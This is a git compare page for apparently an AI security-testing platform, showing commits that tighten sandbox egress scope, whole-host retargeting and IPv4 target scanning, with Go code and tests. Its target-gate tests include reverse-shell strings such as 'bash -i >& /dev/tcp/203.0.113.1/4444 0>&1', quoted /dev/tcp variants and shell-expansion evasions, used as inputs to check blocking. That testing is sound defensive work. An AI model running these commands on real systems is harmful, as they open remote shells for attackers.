Compare commits

..
Author SHA1 Message Date
BaaRai 8f2fd634be Merge pull request #933 from thecorporatetractor/fix/format-bytes-1024
fix(web): show 1.0 MB instead of 1024.0 KB in formatBytes
2026-12-05 02:06:57 +01:00
Marco Azarmaneche 3dabb5f1ef fix(web): show 1.0 MB instead of 1024.0 KB in formatBytes
formatBytes moved to the next unit only when the value reached 1024,
but toFixed(1) already rounds 1023.95 and up to "1024.0". So
1,048,575 bytes rendered as "1024.0 KB" and 1 GiB - 1 as
"1024.0 MB".

Move to the next unit from 1023.95 above bytes, the same approach
formatTokens takes for "1000k". Bytes still switch to KB at 1024.
2026-12-05 02:04:33 +01:00
BaaRai c3950fe0cf Merge pull request #935 from thecorporatetractor/fix/retarget-whole-host
fix(db): match only whole hosts when retargeting a task
2026-12-05 02:03:18 +01:00
BaaRai 04c7d43de3 Merge pull request #949 from rsteach/patch-1
Fix ARTEX directory permissions
2026-12-05 02:01:58 +01:00
BaaRai f6a3b08390 Merge pull request #962 from kobadaidesu/docs/restore-compose-env
docs(backup): expand restore variables inside the Postgres container
2026-12-05 02:01:50 +01:00
BaaRai fc94b108cc Merge pull request #984 from Henglie/fix/target-gate-ua-ipv4
fix(intercept): skip version tokens in bare IPv4 target scan
2026-12-05 01:22:16 +01:00
BaaRai 02087629f5 Merge pull request #985 from Henglie/fix/task-scope-egress-root-domain
fix(sandbox): refresh task egress scope mid-run on operator approval
2026-12-05 01:18:37 +01:00
BaaRai 40c74bfb9a Merge pull request #979 from Henglie/fix/global-proxy-load-error-handling
fix(server): fail closed when global_proxy fails to load
2026-12-05 01:18:26 +01:00
BaaRai 52d1b3afba fix(intercept): keep expanded and port/CIDR targets out of the version skip
A quad after `Name/` or `name-` is a version only when the name starts at a plain text boundary and the quad has no port or prefix length. The boundary is an allowlist (start, ASCII whitespace, =, ,, ;, or a quote opening the token there), so no shell punctuation can hide a target: ${x-192.0.2.10}, ${!x-192.0.2.10}, tcp/192.0.2.10:8080, net/10.0.0.0/24 and the quoted /dev/'tcp and /dev/''tcp paths stay targets.
2026-12-05 01:01:25 +01:00
BaaRai b6e24c33d4 fix(server): resolve the http tool egress policy per hop and per dial
runHTTPTool kept the policy it read before the target gate wait, so a revoked domain still received an in-flight request and its redirects. The redirect check and the sandbox transport now resolve the policy on every hop and every dial, like WebFetch. Test covers a revocation between the initial check and the next hop/dial.
2026-12-05 00:47:22 +01:00
BaaRai 3cbb7e6a3c Merge pull request #993 from BaaRai/fix/target-gate-resolve-after-scope
fix(intercept): resolve a target name only once something approved it
2026-12-04 23:51:35 +01:00
Henglie 9751c14870 fix(sandbox): refresh task egress scope mid-run on operator approval
Engine.withTaskSandbox and agent.withWebFetch captured a static
SandboxRunInfo and EgressPolicy snapshot once at the start of each
intent or planning round. When an operator approved a task_scope entry
(such as an agent-added root_domain) while an intent or planning round
was already running, ExecInSandbox kept sending the initial empty
allowlist to artex-runner so artex-egress-proxy was never recreated,
and WebFetch, sharedBrowserTool, custom HTTP tools, and enrich
remained stuck on the stale policy.

Attach a live scope resolver in withTaskSandbox and retestSandboxContext
and resolve SandboxRunInfo on each ExecInSandbox, SandboxEgressPolicy,
WebFetch, and sharedBrowserTool invocation so approvals and revocations
take effect immediately without restarting the task.
2026-12-05 00:08:11 +08:00
Henglie 3559d0c8b0 fix(intercept): skip version tokens in bare IPv4 target scan
Avoid matching dotted-quad software versions in User-Agent and
similar name/version or name-version tokens (for example Chrome/156.0.0.0,
Edg/156.0.0.0, CriOS/156.0.0.0, Build/10.0.0.0/24, or app-1.2.3.4) as
bare IPv4 targets in targetList.scan.

Keep scanning real IPv4 targets on the same command, including URLs
(http://156.0.0.0/), bare IPv4, IPv4:port, CIDR, Host header values,
double-slash forms, and multi-segment paths such as /dev/tcp/<ip>/<port>.

Fixes #980
2026-12-04 23:26:11 +08:00
Henglie c24d270436 fix(server): fail closed when global_proxy fails to load
Previously NewManager discarded the error returned by
pg.GetSetting(settingGlobalProxy), making a database or decryption read
failure indistinguishable from an unset proxy and silently falling back
to direct egress across the MITM upstream, agent proxy config, and
browser MCP sync.

Extract loadGlobalProxy behind a narrow globalProxyReader interface and
run it in NewManager before opening the traffic proxy listener. A missing
key clears m.globalProxy to direct egress, while any read error leaves
m.globalProxy untouched, closes pg, and returns a credential-free error
naming the global_proxy key.

Fixes #943
2026-12-04 21:46:45 +08:00
kobadaidesu eef0bb45f9 docs(backup): expand restore variables inside the Postgres container 2026-12-04 11:49:52 +09:00
rsteach 27f7be8f39 Fix ARTEX directory permissions 2026-12-04 00:25:43 +05:00
Marco Azarmaneche ba7f8cb292 fix(db): match only whole hosts when retargeting a task
replaceHostCaseInsensitive replaced every case-insensitive occurrence
of the old host. Retargeting 10.0.0.1 to 10.0.0.5 also rewrote
10.0.0.10 to 10.0.0.50 in the goal, open goal nodes and constraints,
and retargeting example.com rewrote notexample.com and
example.com.evil.net. The goal then also counted as replaced, so the
"[Target: ...]" suffix was not added. Whether the goal already names
the new host was a plain substring check too, so a goal naming
10.0.0.10 got no suffix when the new target was 10.0.0.1.

wholeHostMatches keeps a match only when no host byte touches it: no
letter, digit, '-' or '_' on either side, no '.' plus label after it,
no '.' before an IP, and no ':' next to an IPv6 address. A subdomain
such as api.example.com still follows the new host, as before. Both
the replacement and the suffix check (retargetGoal) use it. The new
host is now written literally, so a '$' in it is no longer read as a
regexp group reference.
2026-12-03 16:37:42 +02:00
23 changed files with 1037 additions and 52 deletions
+2
View File
@@ -78,6 +78,8 @@ All notable changes to this project are documented in this file. The format is b
- **`start.sh` stops during a crash backoff**: a SIGTERM or SIGINT that arrived while the supervisor slept before a restart was handled only after the sleep, and the loop then started `artex` again and waited on it, so `docker stop` waited out its grace period and SIGKILLed a freshly started server. The backoff sleep can now be interrupted, and the loop checks for a pending stop before each launch. `scripts/test-start-sh.sh` covers it in CI.
- **A paused task no longer times out**: the deadline coordinator kept counting while a task was paused, so a task paused past its deadline (or restored paused after a restart) ran a final planner round and was set to `timeout` before it could be resumed, and after a resume the engine still used the deadline cached before the pause. The coordinator now waits while the task is paused, and resuming refreshes the cached deadline with the paused interval credited back (#1).
- **The empty sandbox egress warning is written once per task start.** In `ARTEX_SANDBOX=required` mode, the warning added in #833 for a task whose scope rows grant no egress was appended again, as an activity and a log line, on every `Engine.Run` call. The engine calls `Run` again on a task that is already running (resume, intent rerun, finding follow-up, goal decomposition, the active-task endpoint), so the activity feed filled up with copies. The check now runs only when the task really starts.
- **File sizes just under 1 MB or 1 GB no longer show as "1024.0 KB" or "1024.0 MB".** `formatBytes` moved to the next unit only from 1024, and the one-decimal value rounds up to "1024.0" from 1023.95, so 1,048,575 bytes showed as "1024.0 KB". It now moves to the next unit from 1023.95, as `formatTokens` does for "1000k".
- **Retargeting a task rewrites only the old host, not longer hosts that contain it.** `RetargetTask` replaced every case-insensitive occurrence of the old host in the goal, open goal nodes and constraints, so retargeting `10.0.0.1` also turned `10.0.0.10` into `10.0.0.50`, and `example.com` rewrote `notexample.com` and `example.com.evil.net`. A match is now replaced only when it is not part of a longer host name or address; subdomains such as `api.example.com` still follow the new host. The `[Target: ...]` suffix is also decided on whole hosts, so a goal naming `10.0.0.10` gets it when the new target is `10.0.0.1`.
### Removed
+3 -1
View File
@@ -305,7 +305,9 @@ COPY --from=build /out/artex /app/artex
# to artex — docker stop only signals PID 1; without forwarding, artex never receives it,
# cannot shut down gracefully, and is hard-killed by SIGKILL after 10 seconds.
COPY start.sh /app/start.sh
RUN chmod +x /app/artex /app/start.sh && mkdir -p -m 0700 /app/keys \
RUN chmod 0711 /app \
&& chmod +x /app/artex /app/start.sh \
&& mkdir -p -m 0700 /app/keys \
&& chmod 0711 /root
# No setuid or setgid programs (su, passwd, mount, bbot's chrome_sandbox, ...): an
# agent process runs as the executor and must not regain root through one, even
+2 -2
View File
@@ -916,11 +916,11 @@ scripts/backup.sh --keep 7 # db only, keep 7
> `docker compose -f docker-compose.yml -f docker-compose.desktop.yml config --volumes` and
> `docker volume ls`; back up the project's `keys` volume the same way).
Restore into a running stack:
With the `postgres` service running and the target database empty, restore the dump:
```bash
gunzip -c backups/artex-db-<timestamp>.sql.gz | docker compose exec -T postgres \
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
```
Stored secrets (LLM API keys, proxies and gateway custom headers, MCP env, task credentials, notification channel config,
+51 -5
View File
@@ -54,6 +54,10 @@ type SandboxRunInfo struct {
TaskDir string // panel host path for /app/data/tasks/<id>
ScopeDomains []string
ScopeCIDRs []string
// ResolveScope, when non-nil, refreshes ScopeDomains and ScopeCIDRs on each
// sandbox execution or policy check so operator scope approvals and
// revocations apply immediately inside an already-running intent or round.
ResolveScope func() (domains, cidrs []string)
}
type sandboxCtxKey struct{}
@@ -72,6 +76,21 @@ func SandboxRunInfoFromContext(ctx context.Context) (SandboxRunInfo, bool) {
return v, ok && v.TaskID != ""
}
// ResolveSandboxRunInfo retrieves per-task sandbox metadata from ctx and, when
// ResolveScope is set, refreshes ScopeDomains and ScopeCIDRs.
func ResolveSandboxRunInfo(ctx context.Context) (SandboxRunInfo, bool) {
v, ok := SandboxRunInfoFromContext(ctx)
if !ok {
return SandboxRunInfo{}, false
}
if v.ResolveScope != nil {
domains, cidrs := v.ResolveScope()
v.ScopeDomains = domains
v.ScopeCIDRs = cidrs
}
return v, true
}
// containerWorkdir maps a panel WorkingDir under TaskDir onto /workspace inside the worker.
func containerWorkdir(taskDir, workingDir string) string {
if strings.TrimSpace(workingDir) == "" || strings.TrimSpace(taskDir) == "" {
@@ -95,7 +114,7 @@ func ExecInSandbox(ctx context.Context, argv []string, workingDir string, timeou
if ex == nil || ex.Mode != sandbox.ModeRequired {
return sandbox.ExecResponse{}, errors.New("sandbox executor not in required mode")
}
info, ok := SandboxRunInfoFromContext(ctx)
info, ok := ResolveSandboxRunInfo(ctx)
if !ok || info.TaskID == "" {
return sandbox.ExecResponse{}, fmt.Errorf("%w: no task sandbox run info in context (no local fallback)", sandbox.ErrMissingSandboxContext)
}
@@ -200,7 +219,7 @@ func formatSandboxExecResult(resp sandbox.ExecResponse, tc *actool.ToolContext)
// of the run, or, when they do not parse or the run carries none, a policy that
// allows nothing.
func SandboxEgressPolicy(ctx context.Context) *sandbox.EgressPolicy {
info, _ := SandboxRunInfoFromContext(ctx)
info, _ := ResolveSandboxRunInfo(ctx)
pol, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
if err != nil {
pol, _ = sandbox.NewEgressPolicy(info.TaskID, nil, nil, nil)
@@ -220,7 +239,18 @@ func sandboxScopeDialContext(policy *sandbox.EgressPolicy, baseDial func(ctx con
// SandboxScopeDialContext is the WebFetch sandbox dialer for another panel tool
// that connects out from the panel process; label names the tool in a refusal.
func SandboxScopeDialContext(label string, policy *sandbox.EgressPolicy, baseDial func(ctx context.Context, network, addr string) (net.Conn, error)) func(ctx context.Context, network, addr string) (net.Conn, error) {
return sandboxScopeDialContextDynamic(label, func(context.Context) *sandbox.EgressPolicy { return policy }, baseDial)
}
func sandboxScopeDialContextDynamic(label string, policyFn func(context.Context) *sandbox.EgressPolicy, baseDial func(ctx context.Context, network, addr string) (net.Conn, error)) func(ctx context.Context, network, addr string) (net.Conn, error) {
return func(ctx context.Context, network, addr string) (net.Conn, error) {
var policy *sandbox.EgressPolicy
if policyFn != nil {
policy = policyFn(ctx)
}
if policy == nil {
return nil, fmt.Errorf("sandbox %s blocked: missing task egress policy", label)
}
host, portStr, err := net.SplitHostPort(addr)
if err != nil {
return nil, fmt.Errorf("sandbox %s blocked invalid target %q: %w", label, addr, err)
@@ -247,7 +277,18 @@ func SandboxScopeDialContext(label string, policy *sandbox.EgressPolicy, baseDia
// dialer only sees the proxy, so this is where each hop is checked. A nil
// policy refuses every hop.
func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
if policy == nil {
return sandboxRedirectCheckDynamic(nil, check)
}
return sandboxRedirectCheckDynamic(func(context.Context) *sandbox.EgressPolicy { return policy }, check)
}
func sandboxRedirectCheckDynamic(policyFn func(context.Context) *sandbox.EgressPolicy, check func(*http.Request, []*http.Request) error) func(*http.Request, []*http.Request) error {
return func(req *http.Request, via []*http.Request) error {
var policy *sandbox.EgressPolicy
if policyFn != nil {
policy = policyFn(req.Context())
}
if policy == nil {
return errors.New("sandbox WebFetch blocked redirect: missing task egress policy")
}
@@ -262,7 +303,8 @@ func sandboxRedirectCheck(policy *sandbox.EgressPolicy, check func(*http.Request
// sandbox.EgressPolicy before Norma issues any HTTP request.
type sandboxScopeWebFetchTool struct {
actool.CoreTool
policy *sandbox.EgressPolicy
policy *sandbox.EgressPolicy
policyFn func(context.Context) *sandbox.EgressPolicy
}
func (t *sandboxScopeWebFetchTool) Call(ctx context.Context, input json.RawMessage, tc *actool.ToolContext) (actool.Result, error) {
@@ -273,10 +315,14 @@ func (t *sandboxScopeWebFetchTool) Call(ctx context.Context, input json.RawMessa
if err := json.Unmarshal(input, &in); err != nil {
return actool.Errorf(fmt.Sprintf("Error: invalid WebFetch arguments: %v", err)), nil
}
if t.policy == nil {
pol := t.policy
if t.policyFn != nil {
pol = t.policyFn(ctx)
}
if pol == nil {
return actool.Errorf("Error: sandbox WebFetch blocked: missing task egress policy"), nil
}
if err := t.policy.CheckURL(ctx, in.URL); err != nil {
if err := pol.CheckURL(ctx, in.URL); err != nil {
return actool.Errorf(fmt.Sprintf("Error: sandbox WebFetch blocked: %v", err)), nil
}
}
+10 -6
View File
@@ -32,19 +32,23 @@ func withWebFetch(ctx context.Context, tools []actool.CoreTool, proxy, caCert st
dialer := intercept.PinnedDialer("WebFetch", scoped)
disableDirect := gated
checkRedirect := intercept.RedirectCheck("WebFetch")
var sbPolicy *sandbox.EgressPolicy
var policyFn func(context.Context) *sandbox.EgressPolicy
if SandboxRequired() {
pol := SandboxEgressPolicy(ctx)
sbPolicy = pol
dialer = sandboxScopeDialContext(pol, dialer)
checkRedirect = sandboxRedirectCheck(pol, checkRedirect)
policyFn = func(callCtx context.Context) *sandbox.EgressPolicy {
if _, ok := SandboxRunInfoFromContext(callCtx); ok {
return SandboxEgressPolicy(callCtx)
}
return SandboxEgressPolicy(ctx)
}
dialer = sandboxScopeDialContextDynamic("WebFetch", policyFn, dialer)
checkRedirect = sandboxRedirectCheckDynamic(policyFn, checkRedirect)
disableDirect = true
}
webFetch := actool.NewWebFetch(actool.WebFetchConfig{Proxy: proxy, CACert: caCert, CheckRedirect: checkRedirect,
DialContext: dialer, DisableDirectRetry: disableDirect})
var wrapped actool.CoreTool = governedFetch{webFetch}
if SandboxRequired() {
wrapped = &sandboxScopeWebFetchTool{CoreTool: wrapped, policy: sbPolicy}
wrapped = &sandboxScopeWebFetchTool{CoreTool: wrapped, policyFn: policyFn}
}
return append(tools[:len(tools):len(tools)], wrapped)
}
+56 -7
View File
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
"net"
"net/url"
"regexp"
"strings"
@@ -26,11 +27,62 @@ func replaceHostCaseInsensitive(text, oldHost, newHost string) (string, bool) {
if oldHost == "" || newHost == "" || strings.EqualFold(oldHost, newHost) {
return text, false
}
re := regexp.MustCompile(`(?i)` + regexp.QuoteMeta(oldHost))
if !re.MatchString(text) {
matches := wholeHostMatches(text, oldHost)
if len(matches) == 0 {
return text, false
}
return re.ReplaceAllString(text, newHost), true
var b strings.Builder
last := 0
for _, m := range matches {
b.WriteString(text[last:m[0]])
b.WriteString(newHost)
last = m[1]
}
b.WriteString(text[last:])
return b.String(), true
}
// wholeHostMatches returns the case-insensitive matches of host in text that
// are a whole host: 10.0.0.1 must not match in 10.0.0.10, nor example.com in
// notexample.com or example.com.evil.net. A subdomain (api.example.com)
// matches, since it is under the host.
func wholeHostMatches(text, host string) [][]int {
if host == "" {
return nil
}
re := regexp.MustCompile(`(?i)` + regexp.QuoteMeta(host))
// An IP has no subdomains, and in an IPv6 address a colon joins groups.
ip := net.ParseIP(host) != nil
v6 := ip && strings.Contains(host, ":")
inHost := func(c byte) bool { return hostLabelByte(c) || v6 && c == ':' }
var out [][]int
for _, m := range re.FindAllStringIndex(text, -1) {
if m[0] > 0 && (inHost(text[m[0]-1]) || ip && text[m[0]-1] == '.') {
continue
}
if rest := text[m[1]:]; rest != "" && (inHost(rest[0]) || rest[0] == '.' && len(rest) > 1 && hostLabelByte(rest[1])) {
continue
}
out = append(out, m)
}
return out
}
// retargetGoal rewrites oldHost to newHost in a task goal. When the goal
// names neither host, it appends the new target. Both checks match whole
// hosts only, so a goal naming 10.0.0.10 still gets the suffix for 10.0.0.1.
func retargetGoal(goal, oldHost, newHost, newBaseURL string) string {
if updated, ok := replaceHostCaseInsensitive(goal, oldHost, newHost); ok {
return updated
}
if len(wholeHostMatches(goal, newHost)) > 0 {
return goal
}
return strings.TrimSpace(goal) + " [Target: " + strings.TrimSpace(newBaseURL) + "]"
}
func hostLabelByte(c byte) bool {
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '-' || c == '_'
}
// RetargetTask updates tasks.goal, explorations.goal, open goal node payloads,
@@ -59,10 +111,7 @@ func (d *DB) RetargetTask(ctx context.Context, taskID int64, oldHost, newBaseURL
return nil, err
}
newGoal, replaced := replaceHostCaseInsensitive(curGoal, oldH, newH)
if !replaced && !strings.Contains(strings.ToLower(curGoal), newH) {
newGoal = strings.TrimSpace(curGoal) + " [Target: " + strings.TrimSpace(newBaseURL) + "]"
}
newGoal := retargetGoal(curGoal, oldH, newH, newBaseURL)
if _, err := tx.ExecContext(ctx, `UPDATE tasks SET goal=$1 WHERE id=$2`, newGoal, taskID); err != nil {
return nil, err
}
+39
View File
@@ -0,0 +1,39 @@
package db
import "testing"
func TestReplaceHostCaseInsensitiveMatchesWholeHostOnly(t *testing.T) {
cases := []struct{ text, old, new, want string }{
{"http://10.0.0.1/ and http://10.0.0.10/", "10.0.0.1", "10.0.0.5", "http://10.0.0.5/ and http://10.0.0.10/"},
{"notexample.com and Example.com:8080", "example.com", "new.com", "notexample.com and new.com:8080"},
{"example.com.evil.net", "example.com", "new.com", "example.com.evil.net"},
{"api.example.com, then example.com.", "example.com", "new.com", "api.new.com, then new.com."},
{"1.10.0.0.1 and (10.0.0.1)", "10.0.0.1", "10.0.0.5", "1.10.0.0.1 and (10.0.0.5)"},
{"http://[fe80::1]:80/ and fe80::1:5", "fe80::1", "fe80::2", "http://[fe80::2]:80/ and fe80::1:5"},
{"2001:db8::1", "db8::1", "db8::2", "2001:db8::1"},
{"see example.com", "example.com", "a$1b", "see a$1b"},
}
for _, c := range cases {
got, _ := replaceHostCaseInsensitive(c.text, c.old, c.new)
if got != c.want {
t.Errorf("replace(%q, %q→%q) = %q, want %q", c.text, c.old, c.new, got, c.want)
}
}
if _, ok := replaceHostCaseInsensitive("http://10.0.0.10/", "10.0.0.1", "10.0.0.5"); ok {
t.Errorf("a longer host reported as replaced")
}
}
func TestRetargetGoalSuffixMatchesWholeHostOnly(t *testing.T) {
cases := []struct{ goal, want string }{
{"scan 10.0.0.9", "scan 10.0.0.1"},
{"scan 10.0.0.10", "scan 10.0.0.10 [Target: http://10.0.0.1/]"},
{"scan 10.0.0.1 too", "scan 10.0.0.1 too"},
{"scan the app", "scan the app [Target: http://10.0.0.1/]"},
}
for _, c := range cases {
if got := retargetGoal(c.goal, "10.0.0.9", "10.0.0.1", "http://10.0.0.1/"); got != c.want {
t.Errorf("retargetGoal(%q) = %q, want %q", c.goal, got, c.want)
}
}
}
+2 -2
View File
@@ -53,11 +53,11 @@ scripts/backup.sh # database dump only, 14 rotations
scripts/backup.sh --with-data --keep 30 # also archive the data/ bind mount
```
The dump runs inside the `postgres` compose service, so no host `psql` is needed. Restore:
The dump runs inside the `postgres` compose service, so no host `psql` is needed. Restore into an empty database:
```bash
gunzip -c backups/artex-db-<ts>.sql.gz | docker compose exec -T postgres \
psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"
sh -c 'exec psql -U "$POSTGRES_USER" -d "$POSTGRES_DB"'
```
Back up the key directory as well: without it, JWTs cannot be verified and sealed
+56
View File
@@ -296,6 +296,11 @@ func (l *targetList) scan(s string) {
if start > 0 && (isWord(b[start-1]) || b[start-1] == '.') {
return false
}
// A port or a prefix length makes the quad a target, not a version
// token: a name/version component has neither.
if bytes.IndexAny(b[start:end], "/:") < 0 && hasVersionPrefix(b, start) {
return false
}
// The address alone, when what follows it is not a port or a prefix length.
addrEnd := start + bytes.IndexAny(b[start:end], "/:")
if addrEnd < start {
@@ -363,6 +368,57 @@ func isWord(c byte) bool {
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '_'
}
// hasVersionPrefix reports whether a dotted-quad at b[start:] is the version
// component of a name/version or name-version token (such as Chrome/156.0.0.0,
// Edg/156.0.0.0, or app-1.2.3.4).
//
// The name before the separator must start at a plain word boundary. Text that
// shell syntax or quoting can make the shell read differently is not a version
// prefix: ${x-192.0.2.10} and $x-192.0.2.10 are expansions whose value is the
// address, and a quoted /dev/tcp path (a quote between /dev/ and tcp) is still
// the /dev/tcp path, so the address stays a target there.
func hasVersionPrefix(b []byte, start int) bool {
if start < 2 {
return false
}
sep := b[start-1]
if sep != '/' && sep != '-' {
return false
}
i := start - 2
hasLetter := false
for i >= 0 && (isWord(b[i]) || b[i] == '-' || b[i] == '.') {
if b[i] >= 'a' && b[i] <= 'z' || b[i] >= 'A' && b[i] <= 'Z' {
hasLetter = true
}
i--
}
if !hasLetter {
return false
}
return versionBoundaryOK(b, i)
}
// versionBoundaryOK reports whether the name/version token starts at a plain
// text boundary. A quote is accepted only when the token it opens also starts
// at such a boundary, so a quoted /dev/tcp path still resolves to the /dev/tcp
// word. Shell punctuation such as !, *, ?, +, @, ~, {, }, $, (, ), [, ], a
// backtick or a backslash is not a boundary: the text after it can be expanded
// into a different word, so the quad must stay a target.
func versionBoundaryOK(b []byte, i int) bool {
for i >= 0 && (b[i] == '\'' || b[i] == '"') {
i--
}
if i < 0 {
return true
}
switch b[i] {
case ' ', '\t', '\n', '\r', '\v', '\f', '=', ',', ';':
return true
}
return false
}
// validPort returns the port s names, 0 when it is not one.
func validPort(s string) int {
n, err := strconv.Atoi(s)
+149
View File
@@ -173,6 +173,155 @@ func TestExtractTargets(t *testing.T) {
}
}
func TestExtractTargetsVersionTokensAndBoundaries(t *testing.T) {
app := Target{TargetDomain, "app.example.com", 443}
cases := []struct {
name string
cmd string
want []Target
}{
{
name: "chrome user-agent in curl",
cmd: `curl -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36" https://app.example.com/`,
want: []Target{app},
},
{
name: "other browser and client UA version tokens",
cmd: `curl -A "Mozilla/5.0 Chrome/156.0.0.0 CriOS/156.0.0.0 Edg/156.0.0.0 EdgA/156.0.0.0 OPR/112.0.0.0 Version/1.2.3.4 Go-http-client/1.2.3.4" https://app.example.com/`,
want: []Target{app},
},
{
name: "version token with a port or prefix suffix stays a target",
cmd: `curl 156.0.0.0:443 10.0.0.0/24`,
want: []Target{{TargetIP, "156.0.0.0", 443}, {TargetCIDR, "10.0.0.0/24", 0}},
},
{
name: "UA version with a port is requested, not dropped",
cmd: `curl -H "User-Agent: Chrome/156.0.0.0:443" https://app.example.com/`,
want: []Target{app, {TargetIP, "156.0.0.0", 443}},
},
{
name: "shell parameter default expansion stays a target",
cmd: `curl ${x-192.0.2.10}`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "indirect parameter default expansion stays a target",
cmd: `x=y; curl ${!x-192.0.2.10}`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "shell parameter default in an authority stays a target",
cmd: `curl http://${x-192.0.2.10}:8080/admin`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "shell parameter default CIDR stays a target",
cmd: `nmap ${x-10.0.0.0/24}`,
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
},
{
name: "quoted /dev/tcp path stays a target",
cmd: `exec 3<>'/dev/'tcp/203.0.113.1/4444`,
want: []Target{{TargetIP, "203.0.113.1", 0}},
},
{
name: "doubly quoted /dev/tcp path stays a target",
cmd: `exec 3<>/dev/''tcp/203.0.113.1/4444`,
want: []Target{{TargetIP, "203.0.113.1", 0}},
},
{
name: "quoted /dev/udp path stays a target",
cmd: `exec 3<>/dev/""udp/10.0.0.1/53`,
want: []Target{{TargetIP, "10.0.0.1", 0}},
},
{
name: "protocol path with a port stays a target",
cmd: `echo tcp/192.0.2.10:8080`,
want: []Target{{TargetIP, "192.0.2.10", 8080}},
},
{
name: "network prefix stays a target",
cmd: `echo net/10.0.0.0/24`,
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
},
{
name: "hyphen-delimited version token",
cmd: `tar xf app-1.2.3.4 && echo chromium-156.0.0.0`,
want: nil,
},
{
name: "chrome UA with bare IPv4 target",
cmd: `curl -H "User-Agent: Mozilla/5.0 Chrome/156.0.0.0 Safari/537.36" 192.0.2.10`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "chrome UA with same IPv4 as bare target",
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" 156.0.0.0`,
want: []Target{{TargetIP, "156.0.0.0", 0}},
},
{
name: "chrome UA with http URL IPv4 target",
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" http://156.0.0.1/`,
want: []Target{{TargetIP, "156.0.0.1", 80}},
},
{
name: "chrome UA with Host header IPv4 and loopback URL",
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" -H "Host: 192.168.1.1" http://127.0.0.1`,
want: []Target{{TargetIP, "127.0.0.1", 80}, {TargetIP, "192.168.1.1", 0}},
},
{
name: "chrome UA with IPv4:port target",
cmd: `curl -H "User-Agent: Chrome/156.0.0.0" 156.0.0.1:8443`,
want: []Target{{TargetIP, "156.0.0.1", 8443}},
},
{
name: "chrome UA with CIDR target",
cmd: `nmap -sV --script-args http.useragent=Chrome/156.0.0.0 10.0.0.0/24`,
want: []Target{{TargetCIDR, "10.0.0.0/24", 0}},
},
{
name: "bash /dev/tcp path stays a target",
cmd: `bash -i >& /dev/tcp/203.0.113.1/4444 0>&1`,
want: []Target{{TargetIP, "203.0.113.1", 0}},
},
{
name: "bash /dev/udp path stays a target",
cmd: `exec 3<>/dev/udp/10.0.0.1/53`,
want: []Target{{TargetIP, "10.0.0.1", 0}},
},
{
name: "numeric prefix before slash stays a target",
cmd: `echo 2024/192.0.2.10`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "double slash before IPv4 stays a target",
cmd: `curl //192.0.2.10/`,
want: []Target{{TargetIP, "192.0.2.10", 0}},
},
{
name: "hyphenated IPv4 range keeps both endpoints",
cmd: `nmap 192.0.2.1-192.0.2.10`,
want: []Target{{TargetIP, "192.0.2.1", 0}, {TargetIP, "192.0.2.10", 0}},
},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
wantTargets(t, "Bash", targetsOf("Bash", command(c.cmd)), c.want...)
wantTargets(t, "shell_open", targetsOf("shell_open", command(c.cmd)), c.want...)
wantTargets(t, "Monitor", targetsOf("Monitor", command(c.cmd)), c.want...)
wantTargets(t, "shell_send", targetsOf("shell_send", map[string]string{"text": c.cmd + "\n"}), c.want...)
})
}
// Unknown tools also scan string leaves with the same rule.
wantTargets(t, "unknown tool UA header", targetsOf("mcp__http__request", map[string]any{
"url": "https://app.example.com/",
"headers": map[string]string{"User-Agent": "Mozilla/5.0 Chrome/156.0.0.0 Safari/537.36"},
}), app)
}
// Every MCP tool and every deferred custom tool is called through
// ExecuteExtraTool: the gate reads the inner tool name and its parameters.
func TestExtractUnwrapsExecuteExtraTool(t *testing.T) {
+143
View File
@@ -0,0 +1,143 @@
package sandbox
import (
"context"
"encoding/json"
"fmt"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"strings"
"sync"
"testing"
)
func TestDockerBackendRecreatesProxyWhenScopeApproved(t *testing.T) {
ctx := context.Background()
root := t.TempDir()
b := NewDockerBackend(DockerConfig{WorkspaceRoot: root, AuditRoot: root})
labels := map[string]string{LabelManagedBy: ManagedByRunner, LabelTask: "6"}
var mu sync.Mutex
var proxyEnvs [][]string
var proxyDeletes int
var workerCreates int
proxySeq := 0
fake := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.Method + " " + r.URL.Path {
case "GET /networks/artex-task-6":
_ = json.NewEncoder(w).Encode(map[string]any{"Internal": true, "Labels": labels})
case "GET /networks/egress-net":
_, _ = w.Write([]byte("{}"))
case "DELETE /containers/artex-egress-6":
mu.Lock()
proxyDeletes++
mu.Unlock()
w.WriteHeader(http.StatusNoContent)
case "DELETE /containers/artex-worker-6":
w.WriteHeader(http.StatusNotFound)
case "POST /networks/egress-net/connect":
w.WriteHeader(http.StatusNoContent)
case "POST /containers/create":
name := r.URL.Query().Get("name")
switch name {
case "artex-egress-6":
var spec struct {
Env []string `json:"Env"`
}
_ = json.NewDecoder(r.Body).Decode(&spec)
mu.Lock()
proxySeq++
id := fmt.Sprintf("proxy-%d", proxySeq)
proxyEnvs = append(proxyEnvs, spec.Env)
mu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]string{"Id": id})
case "artex-worker-6":
mu.Lock()
workerCreates++
mu.Unlock()
_ = json.NewEncoder(w).Encode(map[string]string{"Id": "worker-1"})
default:
http.NotFound(w, r)
}
